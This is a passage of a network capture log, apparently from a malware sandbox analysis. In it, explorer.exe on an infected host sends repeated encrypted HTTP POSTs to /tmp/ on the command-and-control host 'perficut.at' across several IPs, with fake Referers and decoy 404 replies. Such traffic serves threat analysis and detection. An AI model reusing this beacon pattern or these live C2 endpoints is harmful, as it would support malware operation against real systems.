Feb 16, 2023 13:57:49.476973057 CET	4814	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 34 3f a0 96 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu4?MnyBN"Or)? sZX+4#\OZI#W2'\|8L3,{?{0;;'e.duZfrt]dd#v
Feb 16, 2023 13:57:50.799792051 CET	4814	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49700	2.180.10.7	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:50.958898067 CET	4815	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qcbqlwpayk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 196 Host: perficut.at
Feb 16, 2023 13:57:50.958939075 CET	4815	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 6c 4c a4 94 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vulLrRTO:Jd H2m@(ogW2?\|dE"YTr6MltH/.F<Q
Feb 16, 2023 13:57:52.911240101 CET	4816	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49701	203.91.116.53	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:53.181847095 CET	4817	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dciawds.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 359 Host: perficut.at
Feb 16, 2023 13:57:53.181886911 CET	4818	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 3b 4f df 8e Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu;OtEren,?:Gh/lR*^&N0>YL>&BPOs,PebCn4?XH"@5w@/J7rs\|Y
Feb 16, 2023 13:57:54.003639936 CET	4818	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49702	203.91.116.53	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:55.265667915 CET	4819	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lcwlg.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 179 Host: perficut.at
Feb 16, 2023 13:57:55.265708923 CET	4820	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 40 32 c1 f6 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu@2UThw9\(=yUAi8l[TnIO;Ik}ED$H]c
Feb 16, 2023 13:57:56.084260941 CET	4821	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49703	2.180.10.7	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:56.272224903 CET	4822	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mkhxjx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 246 Host: perficut.at
Feb 16, 2023 13:57:56.273154020 CET	4822	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 2a 5a cf ad Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu*ZK6\|pfthIOw^DR`c]ZUYXETS~1QbzxH(Z}shs3AAMbWn\"zvMb6U0+
Feb 16, 2023 13:57:57.173399925 CET	4823	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49685	2.180.10.7	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:15.727896929 CET	105	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rlxoar.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 299 Host: perficut.at
Feb 16, 2023 13:57:15.727953911 CET	105	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 25 5f ca ee Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu%_S\ADLF/Rqr7U"`"E."pC\*8=42a,(,_W?3+.]`@mP_0=_v!qB]#
Feb 16, 2023 13:57:16.145056009 CET	106	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49704	95.158.162.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:57.328691959 CET	4824	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://swrtekc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 159 Host: perficut.at
Feb 16, 2023 13:57:57.328739882 CET	4824	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 5e 35 d8 95 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu^5m<Zir(%r+;g64v+gE8 w9!<
Feb 16, 2023 13:57:57.652863979 CET	4825	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49705	95.158.162.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:57.767302990 CET	4826	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dspqjvfs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 252 Host: perficut.at
Feb 16, 2023 13:57:57.767302990 CET	4826	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 3d 07 d4 ac Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu=PvzD \|{Ty>0yXcL{>0,8@XAil;^F=QUhROM[1J}zuLfHQ>V+
Feb 16, 2023 13:57:58.141119003 CET	4827	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49706	95.158.162.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:58.260751009 CET	4828	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rkgmxijupo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 324 Host: perficut.at
Feb 16, 2023 13:57:58.260808945 CET	4828	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 51 4a fc f7 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vuQJ} QOg2,Wj(vVa%?c=:+vD(Ij?K7ICUA=)4`eCF"!("r
Feb 16, 2023 13:57:58.600131989 CET	4828	IN	HTTP/1.1 200 OK Date: Thu, 16 Feb 2023 12:57:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49707	203.91.116.53	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:58.800136089 CET	4829	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fowipo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 353 Host: perficut.at
Feb 16, 2023 13:57:58.800203085 CET	4830	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 3b 31 b3 ad Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu;1d}iHq-n?04iIn].VQ4f1R<;3\=@f4TZ4FUKLC!dCr
Feb 16, 2023 13:57:59.608724117 CET	4830	IN	HTTP/1.1 200 OK Date: Thu, 16 Feb 2023 12:57:59 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49708	195.158.3.162	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
